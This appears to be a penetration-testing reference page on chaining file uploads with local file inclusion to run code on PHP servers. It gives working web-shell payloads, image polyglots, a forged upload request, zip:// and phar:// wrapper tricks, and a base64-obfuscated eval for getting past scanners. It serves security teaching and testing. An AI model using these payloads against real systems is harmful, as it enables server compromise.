File-upload chain
When the application accepts uploads (avatar, attachment, document) and has an LFI sink that executes files, include the uploaded file. The upload doesn’t need to be vulnerable - any upload that ends up on disk works.
# 1. Embed PHP in a file that looks like an imageecho 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# 2. Upload via the application's normal upload feature# (file is now at /profile_images/shell.gif or similar)
# 3. Include via LFI - inclusion sink executes PHP regardless of extension?page=./profile_images/shell.gif&cmd=id
# Alternate transports when raw image upload is filtered?page=zip://./uploads/shell.zip%23inner.php&cmd=id # zip:// wrapper?page=phar://./uploads/shell.phar/inner.txt&cmd=id # phar:// wrapperSuccess indicator: command output in the response after triggering the LFI on the uploaded file.
Why this works
Section titled “Why this works”The key property: the LFI sink decides what’s PHP based on content, not extension. When the function is include() or require(), any file containing <?php ... ?> will execute the PHP code - regardless of whether the file is named .gif, .jpg, .pdf, or .txt.
This means the file upload feature doesn’t need a vulnerability. The web framework’s “this is just an image” check has no bearing on what include() does with the file later. If you can:
- Get a file with PHP code onto disk anywhere the LFI can reach, and
- Find its path,
…you have RCE.
This chain is the most reliable LFI-to-RCE path on PHP apps because it doesn’t require allow_url_include and doesn’t depend on which wrappers are loaded.
Step 1 - Craft the malicious image
Section titled “Step 1 - Craft the malicious image”Combine valid image bytes (the “magic bytes” identifying the file type) with PHP code:
# GIF - magic bytes "GIF8" are valid ASCII, easiest to handcraftecho 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifThis file:
- Starts with
GIF8- any image-content sniffer treats it as a (broken but recognizable) GIF - Contains valid PHP code
- Will display as an invalid image in browsers (most don’t error visibly, just show a broken-image icon)
- Will execute as PHP when
include()d
The same technique with other formats:
# JPEG - magic bytes need binary; build with pythonpython3 -c 'import syssys.stdout.buffer.write(b"\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET[\"cmd\"]); ?>")' > shell.jpg
# PNG - similar, slightly more byte gymnasticspython3 -c 'import syssys.stdout.buffer.write(b"\x89PNG\r\n\x1a\n<?php system($_GET[\"cmd\"]); ?>")' > shell.pngGIF is preferred for handcrafting because its magic bytes are printable ASCII. JPEG and PNG work but require building the file with a script.
When real-image validation is in place
Section titled “When real-image validation is in place”If the upload check actually decodes the image and verifies dimensions/color depth, the simple “magic bytes + PHP” trick may fail. Workarounds:
-
Embed in image metadata. EXIF tags accept arbitrary text:
Terminal window exiftool -Comment='<?php system($_GET["cmd"]); ?>' real-image.jpgThe image remains a valid JPEG (passes any image library’s check), but the EXIF comment contains PHP. When
include()’d, PHP scans for<?php ... ?>anywhere in the file and executes. -
Append to a real image:
Terminal window cat real-image.png > shell.pngecho '<?php system($_GET["cmd"]); ?>' >> shell.pngThe PNG decoder reads up to the IEND chunk and stops; the trailing PHP is ignored by image decoders but visible to
include().
The File Upload Attacks reference covers more aggressive bypasses (content-type vs. content mismatches, polyglot files). For LFI-chaining purposes, EXIF embedding and trailing-byte appending almost always work.
Step 2 - Upload through normal channels
Section titled “Step 2 - Upload through normal channels”Upload via the application’s intended upload feature. Examples of common upload sinks:
- Profile picture / avatar upload
- Document attachment in tickets, comments, or messages
- Bulk import via CSV
- Logo / brand image in admin settings
- Resume / CV upload in job-board apps
- Image attachment in CMS / wiki edits
You don’t need the upload to be misconfigured. The straightforward use case - “users can upload an avatar” - is enough.
Note on content-type checks
Section titled “Note on content-type checks”Many upload endpoints check the Content-Type header in the request, not the file contents. Set it to match a real image:
POST /upload HTTP/1.1Content-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="file"; filename="avatar.gif"Content-Type: image/gif
GIF8<?php system($_GET["cmd"]); ?>-----X--The Content-Type: image/gif line in the multipart body satisfies most lightweight checks. The actual file contents are still the polyglot.
Step 3 - Find the upload path
Section titled “Step 3 - Find the upload path”You need the on-disk path of the uploaded file to include it. Several ways to find it:
From the application UI
Section titled “From the application UI”After uploading, the file usually displays somewhere - view source:
<img src="/profile_images/shell.gif" class="profile-image">The src attribute is the URL path, which maps directly to the on-disk path in most apps. If the webroot is /var/www/html/ and the URL is /profile_images/shell.gif, the file is at /var/www/html/profile_images/shell.gif.
From the upload response
Section titled “From the upload response”The upload endpoint often returns the path in JSON:
{ "success": true, "path": "/profile_images/shell.gif", "filename": "shell.gif"}From fuzzing
Section titled “From fuzzing”When the path isn’t disclosed, fuzz for common upload directories:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt:FUZZ \ -u "https://target/FUZZ/shell.gif" \ -mc 200Common upload directories:
/uploads//upload//files//attachments//profile_images//avatars//img//static/uploads//public/uploads//user_data//storage//media/Renamed files
Section titled “Renamed files”Some apps rename uploaded files (UUID, hash, sequential ID). The application’s UI usually shows the new name. If not, the upload response or a fuzzer hitting common naming patterns (upload_1.gif, upload_2.gif) sometimes reveals it.
Step 4 - Include via LFI
Section titled “Step 4 - Include via LFI”Combine the path with the LFI sink:
?page=./profile_images/shell.gif&cmd=id?page=../../profile_images/shell.gif&cmd=id # if LFI has a path prefix?page=/var/www/html/profile_images/shell.gif&cmd=id # absolute pathThe inclusion executes the PHP code in the file:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Handling appended extensions
Section titled “Handling appended extensions”When the LFI sink appends .php:
include($_GET['page'] . ".php");The naive ?page=./profile_images/shell.gif becomes ./profile_images/shell.gif.php - doesn’t exist.
Two options:
-
Upload as
shell.phpinstead ofshell.gifif the upload validates extension by exact match:Terminal window echo '<?php system($_GET["cmd"]); ?>' > shell.phpMany uploads accept arbitrary extensions; some don’t. Test.
-
Use a wrapper to bypass the extension append - see wrappers or the
zip:///phar://techniques below.
zip:// chain
Section titled “zip:// chain”Useful when the application accepts .zip uploads (file-attachment features sometimes do):
# Step 1 - create the PHP shellecho '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2 - zip it, name the archive with an image extensionzip shell.jpg shell.php
# Step 3 - upload shell.jpg
# Step 4 - include via the zip:// wrapper?page=zip://./profile_images/shell.jpg%23shell.php&cmd=idThe URL-encoded %23 is #, which the zip:// wrapper uses to specify the file inside the archive:
zip://./profile_images/shell.jpg#shell.php └── archive path ──┘ └ inner file ┘PHP opens the zip archive, extracts shell.php, runs it.
Caveats
Section titled “Caveats”- Requires the
zipPHP extension. Usually enabled but worth checking viaphp://filteronphp.ini. - Some upload validators detect zip archives via content sniffing even when the extension is
.jpg- they reject based on content type, not extension. Test.
phar:// chain
Section titled “phar:// chain”A PHAR (PHP Archive) is PHP’s executable archive format. Building one with custom contents lets you specify a stub and inner files cleanly.
Step 1 - Build the PHAR
Section titled “Step 1 - Build the PHAR”# Write the script that builds the PHARcat > build-phar.php <<'EOF'<?php$phar = new Phar('shell.phar');$phar->startBuffering();$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->stopBuffering();EOF
# Compile (phar.readonly must be 0 to build)php --define phar.readonly=0 build-phar.php
# Rename for uploadmv shell.phar shell.jpgThe setStub line marks the start of the PHAR data - everything before __HALT_COMPILER() is treated as the script preamble, everything after is the archive payload.
Step 2 - Upload
Section titled “Step 2 - Upload”Step 3 - Include
Section titled “Step 3 - Include”?page=phar://./profile_images/shell.jpg/shell.txt&cmd=idURL-encoded form (some apps URL-decode the path before the wrapper sees it):
?page=phar%3A%2F%2F.%2Fprofile_images%2Fshell.jpg%2Fshell.txt&cmd=idCaveats
Section titled “Caveats”- The PHAR format has more compatibility than zip across PHP setups -
phar://is part of core PHP, no extension required. - File-upload validators sometimes detect the PHAR magic bytes (
<?php __HALT_COMPILER();) and reject. EXIF-embedded PHARs avoid this. - PHAR deserialization is a separate attack class - when an application calls
file_exists()orfilesize()on an attacker-controlledphar://URL, the deserializer triggers and can execute PHP via object instantiation. Outside this section’s scope but worth knowing about.
When the upload directory is non-executable
Section titled “When the upload directory is non-executable”Some apps configure the upload directory to not execute PHP - e.g., .htaccess with php_flag engine off. This stops direct access to the file as a script (https://target/uploads/shell.php?cmd=id doesn’t work), but LFI execution still works because include() doesn’t go through Apache’s mod_php directive resolution - it’s PHP-internal.
This means LFI + upload chain bypasses upload-directory hardening. The chain is robust precisely because the execution doesn’t happen “in” the upload directory - it happens “in” the LFI sink’s directory.
When uploads strip PHP tags
Section titled “When uploads strip PHP tags”A more aggressive defense: the upload endpoint scans contents for PHP tags (<?php, <?=, etc.) and rejects/strips them. Workarounds:
-
Encode the PHP in something the scanner doesn’t decode. Base64-encode the PHP body, then decode at runtime:
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWyJjbWQiXSk7")); ?>The string
"c3lzdGVtKCRfR0VUWyJjbWQiXSk7"issystem($_GET["cmd"]);base64-encoded. If the scanner only looks for tag-adjacent shell commands, the base64 obfuscation passes. -
Use short tags (when enabled):
<?= system($_GET["cmd"]); ?>Some scanners only check for the full
<?phpopening tag. -
Use the
zip://orphar://chain - the PHP code is inside an archive, not at the file’s top level.
Combining with second-order LFI
Section titled “Combining with second-order LFI”When the LFI is indirect (you set a username/path field that the app uses later), the file-upload chain composes:
1. Register with username "../uploads/shell"2. Upload shell.gif via the avatar feature → /uploads/shell.gif3. Trigger any feature that loads "<username>.png" → loads ../uploads/shell.gif (or shell.png if the LFI sink doesn't add extension)The second-order chain is more constrained but works against some hardened apps that don’t allow direct LFI in any obvious parameter.
Detection-only checks
Section titled “Detection-only checks”# Confirm uploads land in a predictable placecurl -F "file=@/path/to/normal.jpg" https://target/upload# Look at the response for path, or fetch /uploads/normal.jpg
# Confirm LFI can reach the upload directorycurl "https://target/?page=./uploads/normal.jpg"# If the JPEG bytes come back, LFI reaches the upload dir - chain is feasible- The chain is the most reliable LFI-to-RCE path. Doesn’t need
allow_url_include, doesn’t need network egress, doesn’t need rare wrappers. Try this first when wrappers fail. - The “image” doesn’t have to be a real image. Apps that don’t decode-and-re-encode uploaded images accept the magic-bytes-prefix trick trivially. The “make a real image” workarounds are only needed when the upload re-encodes the file (less common than you’d think).
.htaccessupload is also a chain primitive. When uploads land in a directory and.htaccessis allowed, uploading a malicious.htaccessfollowed by a PHP file enables PHP execution in the upload directory itself - separate from LFI. Worth knowing for the upload page’s own RCE.- Tomcat / Jetty / ASP.NET equivalents. Java apps with WAR upload and inclusion have the same shape - upload a JSP, include it via the LFI sink. ASP.NET with
.aspxuploads and<!--#include-->sinks similar. The PHP path is documented in detail because that’s the common case; the structure transfers. - phpinfo() temp-file race (legacy, rarely applicable). When a
phpinfo()page is exposed and file uploads are enabled, every multipart upload briefly creates a temp file whose random pathphpinfo()prints in its output. The classic attack races to include that temp path via the LFI before PHP deletes it at request end. The limiting conditions are the race itself - readingtmp_namefrom thephpinfo()output and including it concurrently, before request cleanup - plus permission to include the temp file; it is not tied to old PHP and still applies on PHP 8 where those conditions hold (InsomniaSec writeup).